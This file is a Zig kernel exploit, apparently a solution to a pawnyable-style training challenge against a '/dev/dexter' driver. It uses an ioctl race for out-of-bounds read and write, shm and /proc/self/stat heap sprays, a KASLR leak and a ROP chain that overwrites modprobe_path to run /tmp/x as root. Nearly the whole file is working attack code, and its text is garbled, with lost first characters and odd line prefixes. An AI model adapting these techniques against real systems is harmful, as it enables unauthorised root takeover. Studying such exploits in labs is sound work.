(???) onst std = @import("std");
(PNG) ub const std_options = std.Options{
(???) .log_level = if (@hasDecl(@This(), "DEBUG")) .debug else .info,
(???) .logFn = pawnyableLogger,
(???) ;
(PNG) ub fn pawnyableLogger(
(???) comptime level: std.log.Level,
(???) comptime _: @Type(.enum_literal),
(???) comptime format: []const u8,
(???) args: anytype,
(???) void {
(???) const prefix = "[" ++ comptime blk: {
(???) const level_text = level.asText();
(???) var buf: [level_text.len]u8 = undefined;
(???) break :blk std.ascii.upperString(&buf, level_text);
(???) } ++ "] ";
(???) std.debug.lockStdErr();
(???) defer std.debug.unlockStdErr();
(???) const stderr = std.io.getStdErr().writer();
(???) nosuspend stderr.print(prefix ++ format ++ "\n", args) catch return;
(???)
(???) n bigEndianify(comptime len: usize, buf: []const u8) [len]u8 {
(???) var bufLE: [len]u8 = undefined;
(???) inline for (0..len) |i| bufLE[i] = buf[len-1-i];
(???) return bufLE;
(???)
(???) ar __spinlock: bool = false;
nline fn spin() void {
(???) while (true) if (__spinlock) break;
(???)
(???) xport var user_cs: u64 = 0;
(???) xport var user_ss: u64 = 0;
(???) xport var user_rsp: u64 = 0;
(???) xport var user_rflags: u64 = 0;
(???) n saveState() callconv(.C) void {
(???) asm volatile (
(???) \\.intel_syntax noprefix
(???) \\mov user_cs, cs
(???) \\mov user_ss, ss
(???) \\.att_syntax
(???) );
(???)
(???) n whoami() void {
(???) std.log.info("You won!!", .{});
(???) const args = [_:null]?[*:0]const u8{"/usr/bin/whoami"};
(???) const env = [_:null]?[*:0]u8{};
(???) switch (std.posix.execveZ("/usr/bin/whoami", args[0..args.len], env[0..env.len])) {
(???) else => unreachable,
(???) }
(???) unreachable;
(???)
(???) n modprobePath() void {
(???) std.log.info("You won!!", .{});
(???) const tmpx = std.fs.cwd().createFile(
(???) "/tmp/x", .{
(???) .read = true,
(???) .mode = 0o777,
(???) },
(???) ) catch unreachable;
(???) tmpx.writeAll(
(???) \\#!/bin/sh
(???) \\/usr/bin/whoami &> /tmp/whoisit
(???) \\chmod 777 /tmp/whoisit
(???) ) catch unreachable;
(???) tmpx.close();
(???) const unknown = std.fs.cwd().createFile(
(???) "/tmp/unknown", .{
(???) .read = true,
(???) .mode = 0o777,
(???) },
(???) ) catch unreachable;
(???) unknown.writeAll(&[_]u8{0xff}**4) catch unreachable;
(???) unknown.close();
(???) std.posix.exit(0);
(???)
(???) n corePattern() void {
(???) std.log.info("You won!!", .{});
(???) const tmpx = std.fs.cwd().createFile(
(???) "/tmp/x", .{
(???) .read = true,
(???) .mode = 0o777,
(???) },
(???) ) catch unreachable;
(???) tmpx.writeAll(
(???) \\#!/bin/sh
(???) \\/usr/bin/whoami &> /tmp/whoisit
(???) \\chmod 777 /tmp/whoisit
(???) ) catch unreachable;
(???) tmpx.close();
(???) switch (std.posix.fork() catch unreachable) {
(???) 0 => std.posix.abort(),
(???) else => |pid| _ = std.posix.waitpid(pid, 0),
(???) }
(???) const flag = std.fs.openFileAbsolute("/tmp/whoisit", .{}) catch {
(???) std.log.err("Failed to open /tmp/whoisit", .{});
(???) std.posix.abort();
(???) };
(???) defer flag.close();
(???) std.debug.print("{s}", .{(tmpx.reader().readBoundedBytes(32) catch unreachable).constSlice()});
(???) std.posix.exit(0);
(???)
(???) n catchSigsegv(comptime handler: *const fn () void) void {
(???) const wrapper = struct { fn wrapper(_: i32) callconv(.C) void { handler(); } }.wrapper;
(???) const sigact = std.posix.Sigaction{
(???) .handler = .{ .handler = &wrapper },
(???) .mask = std.posix.empty_sigset,
(???) .flags = 0,
(???) };
(???) std.posix.sigaction(std.posix.SIG.SEGV, &sigact, null);
(???)
(???) onst dexter_ioctl = enum(u32) {
(???) GET = 0xdec50001,
(???) SET = 0xdec50002,
(???) ;
(???) onst request_t = extern struct {
(???) ptr: [*]u8,
(???) len: usize,
(???) ;
(???) onst seq_operations = extern struct {
(???) start: usize,
(???) stop: usize,
(???) next: usize,
(???) show: usize,
(???) ;
(???) onst shm_file_data = extern struct {
(???) ;
(???) onst pinThreadToCore = (struct {
(???) const pthread = @cImport({
(???) @cDefine("_GNU_SOURCE", {});
(???) @cInclude("pthread.h");
(???) });
(???) fn pinThreadToCore(thread: std.Thread.Handle, core: usize) !void {
(???) var cpu = std.bit_set.ArrayBitSet(usize, std.os.linux.CPU_SETSIZE*@sizeOf(usize)).initEmpty();
(???) cpu.set(core);
(???) const err = pthread.pthread_setaffinity_np(@ptrCast(thread), @sizeOf(std.posix.cpu_set_t), @ptrCast(&@as(std.posix.cpu_set_t, @bitCast(cpu.masks))));
(???) switch (@as(std.posix.E, @enumFromInt(err))) {
(???) .SUCCESS => return,
(???) .FAULT => unreachable,
(???) .INVAL => return error.InvalidArgument,
(???) .SRCH => return error.ProcessNotFound,
(???) else => |e| return std.posix.unexpectedErrno(e),
(???) }
(???) }
(???) ).pinThreadToCore;
(???) n raceIoctl(fd: std.posix.fd_t, buf: []u8, op: dexter_ioctl, req: *request_t, race_is_won: *bool) void {
(???) // read what's currently in filp->private_data.
(???) switch(std.posix.errno(std.os.linux.ioctl(fd, @intFromEnum(dexter_ioctl.GET), @intFromPtr(&request_t{ .ptr = @ptrCast(buf), .len = 8 })))) {
(???) .SUCCESS => {},
(???) else => unreachable,
(???) }
(???) var pd_sentinel: [8]u8 = undefined;
(???) @memcpy(&pd_sentinel, buf[0..8]);
(???) inline for (0..8) |i| buf[i] ^= 0xff;
(???) outer: while (true) {
(???) req.* = request_t{ .ptr = @ptrCast(buf), .len = 0 };
(???) std.Thread.yield() catch {};
(???) const err = std.os.linux.ioctl(fd, @intFromEnum(op), @intFromPtr(req));
(???) switch (std.posix.errno(err)) {
(???) .SUCCESS => {
(???) switch (op) {
(???) // if we succeeded in reading, pd_vanguard is in the start of buf
(???) .GET => {
(???) if (std.mem.eql(u8, buf[0..8], &pd_sentinel)) break :outer;
(???) },
(???) // if we succeeded in writing, pd_vanguard should no longer be the start of buf
(???) .SET => {
(???) var tmp: [8]u8 = undefined;
(???) switch(std.posix.errno(std.os.linux.ioctl(fd, @intFromEnum(dexter_ioctl.GET), @intFromPtr(&request_t{ .ptr = &tmp, .len = 8 })))) {
(???) .SUCCESS => {},
(???) else => unreachable,
(???) }
(???) if (!std.mem.eql(u8, tmp[0..8], &pd_sentinel)) break :outer;
(???) },
(???) }
(???) },
(???) .INVAL => continue,
(???) else => {},
(???) }
(???) }
(???) std.log.info("Won the race", .{});
(???) race_is_won.* = true;
(???)
(???) n raceCorrupt(dst: *request_t, len: usize, are_we_there_yet: *bool) void {
(???) while (!are_we_there_yet.*) {
(???) std.Thread.sleep(2);
(???) dst.*.len = len;
(???) }
(???)
(???) n overwrite(fd: std.posix.fd_t, buf: []u8) !void {
(???) std.debug.assert(try std.Thread.getCpuCount() > 1);
(???) std.debug.assert(buf.len >= 32);
(???) var req: request_t = undefined;
(???) var race_is_won = false;
(???) var t1 = try std.Thread.spawn(.{}, raceIoctl, .{fd, buf, .SET, &req, &race_is_won});
(???) var t2 = try std.Thread.spawn(.{}, raceCorrupt, .{&req, buf.len, &race_is_won});
(???) try pinThreadToCore(t1.getHandle(), 0);
(???) try pinThreadToCore(t2.getHandle(), 1);
(???) t1.join();
(???) t2.join();
(???)
(???) n overread(fd: std.posix.fd_t, buf: []u8) !void {
(???) std.debug.assert(try std.Thread.getCpuCount() > 1);
(???) std.debug.assert(buf.len >= 32);
(???) var req: request_t = undefined;
(???) var race_is_won = false;
(???) var t1 = try std.Thread.spawn(.{}, raceIoctl, .{fd, buf, .GET, &req, &race_is_won});
(???) var t2 = try std.Thread.spawn(.{}, raceCorrupt, .{&req, buf.len, &race_is_won});
(???) try pinThreadToCore(t1.getHandle(), 0);
(???) try pinThreadToCore(t2.getHandle(), 1);
(???) t1.join();
(???) t2.join();
(???)
(???) onst shm_c = @cImport({
(???) @cInclude("sys/shm.h");
(???) @cInclude("sys/ipc.h");
(???) @cInclude("sys/types.h");
(???) );
(???) onst ShmInfo = struct {
(???) segment: c_int,
(???) addr: *const anyopaque,
(???) ;
(???) n shmSpray(shms: []ShmInfo) !void {
(???) for (shms) |*shm| {
(???) const shmId = shm_c.shmget(shm_c.IPC_PRIVATE, std.heap.page_size_min, shm_c.IPC_CREAT | 0o666);
(???) switch (std.posix.errno(shmId)) {
(???) .SUCCESS => {},
(???) else => |err| return std.posix.unexpectedErrno(err),
(???) }
(???) shm.* = .{ .segment = shmId, .addr = shm_c.shmat(shmId, null, shm_c.SHM_RDONLY).? };
(???) }
(???)
(???) n shmFree(shms: []ShmInfo) void {
(???) for (shms) |shm| {
(???) switch (std.posix.errno(shm_c.shmctl(shm.segment, shm_c.IPC_RMID, null))) {
(???) .SUCCESS => {},
(???) else => |_| {},
(???) }
(???) switch (std.posix.errno(shm_c.shmdt(shm.addr))) {
(???) .SUCCESS => {},
(???) else => |_| {},
(???) }
(???) }
(???)
(???) ar ADD_RSP_0xb8_POP_R13_POP_R14_POP_R15_POP_RBP: u64 = 0xffffffff811481c6;
(???) ar POP_RDX_POP_RSI_POP_RDI_POP_RBP: u64 = 0xffffffff810012c1;
(???) ar POP_R10_POP_RBP: u64 = 0xffffffff81384eec;
(???) ar ADD_ADDROF_RSI_RDX: u64 = 0xffffffff81399ff3;
(???) ar SYSCALL_RETURN_VIA_SYSRET: u64 = 0xffffffff818000fb; // similar to but not exactly the same as KPTI_TRAMPOLINE
(???) ar MODPROBE_PATH: u64 = 0xffffffff81e37e60;
nline fn ropchain(fd: std.posix.fd_t) void {
(???) const modprobe_difference: u64 = @bitCast(-@as(i64, @intCast(std.mem.bytesToValue(u64, "/sbin/m") - std.mem.bytesToValue(u64, "/tmp/x\x00"))));
(???) // we don't control the return address (rcx) so this will segfault once we return to userspace (importantly, this will not cause a kernel panic)
(???) // when stuffing a ropchain in pt_regs this is an big advantage over commit_creds(&init_cred), which requires a clean userspace return
(???) asm volatile (""
(???) :
(???) : [_] "{r15}" (POP_RDX_POP_RSI_POP_RDI_POP_RBP),
(???) [_] "{r14}" (modprobe_difference),
(???) [_] "{r13}" (MODPROBE_PATH),
(???) // [junk] "{r12}" (),
(???) [_] "{rbx}" (POP_R10_POP_RBP),
(???) // [junk] "{r10}" (),
(???) [_] "{r9}" (ADD_ADDROF_RSI_RDX),
(???) [_] "{r8}" (SYSCALL_RETURN_VIA_SYSRET),
(???) );
(???) _ = @call(.always_inline, std.os.linux.syscall3, .{ std.os.linux.SYS.lseek, @as(usize, @bitCast(@as(isize, fd))), 1, std.os.linux.SEEK.CUR });
(???)
(???) n adjust_offsets(kaslr_offset: u64) void {
(???) const gadgets = &[_]*u64{
(???) &ADD_RSP_0xb8_POP_R13_POP_R14_POP_R15_POP_RBP,
(???) &POP_RDX_POP_RSI_POP_RDI_POP_RBP,
(???) &POP_R10_POP_RBP,
(???) &ADD_ADDROF_RSI_RDX,
(???) &SYSCALL_RETURN_VIA_SYSRET,
(???) &MODPROBE_PATH,
(???) };
(???) for (gadgets) |g| {
(???) g.* += kaslr_offset;
(???) }
(???)
(???) n spray(fds: []std.posix.fd_t) !void {
(???) for (0..fds.len) |i| {
(???) fds[i] = try std.posix.open("/proc/self/stat", .{ .ACCMODE = .RDONLY }, 0o660);
(???) }
(???)
(PNG) ub fn main() !void {
(???) const fd = try std.posix.open("/dev/dexter", .{ .ACCMODE = .RDWR }, 0o660);
(???) defer std.posix.close(fd);
(???) var shm_addrs: [100]ShmInfo = undefined;
(???) try shmSpray(&shm_addrs);
(???) var buf: [32+32*2]u8 = undefined;
(???) try overread(fd, &buf);
(???) const init_ipc_ns: u64 = 0xffffffff81eb2c00;
(???) const kaslr_offset = std.mem.readInt(u64, buf[buf.len-32..][@offsetOf(shm_file_data, "ns")..][0..8], .little) - init_ipc_ns;
(???) std.log.info("Kernel base at 0x{x}", .{0xffffffff81000000 + kaslr_offset});
(???) adjust_offsets(kaslr_offset);
(???) shmFree(&shm_addrs);
(???) var stat_fds: [1000]std.posix.fd_t = undefined;
(???) try spray(&stat_fds);
(???) defer for (stat_fds) |sfd| std.posix.close(sfd);
(???) @memcpy(buf[32+32..][@offsetOf(seq_operations, "start")..][0..8], std.mem.asBytes(&ADD_RSP_0xb8_POP_R13_POP_R14_POP_R15_POP_RBP));
(???) try overwrite(fd, &buf);
(???) for (stat_fds) |sfd| {
(???) ropchain(sfd);
(???) }
(???) // let it crash!
(???)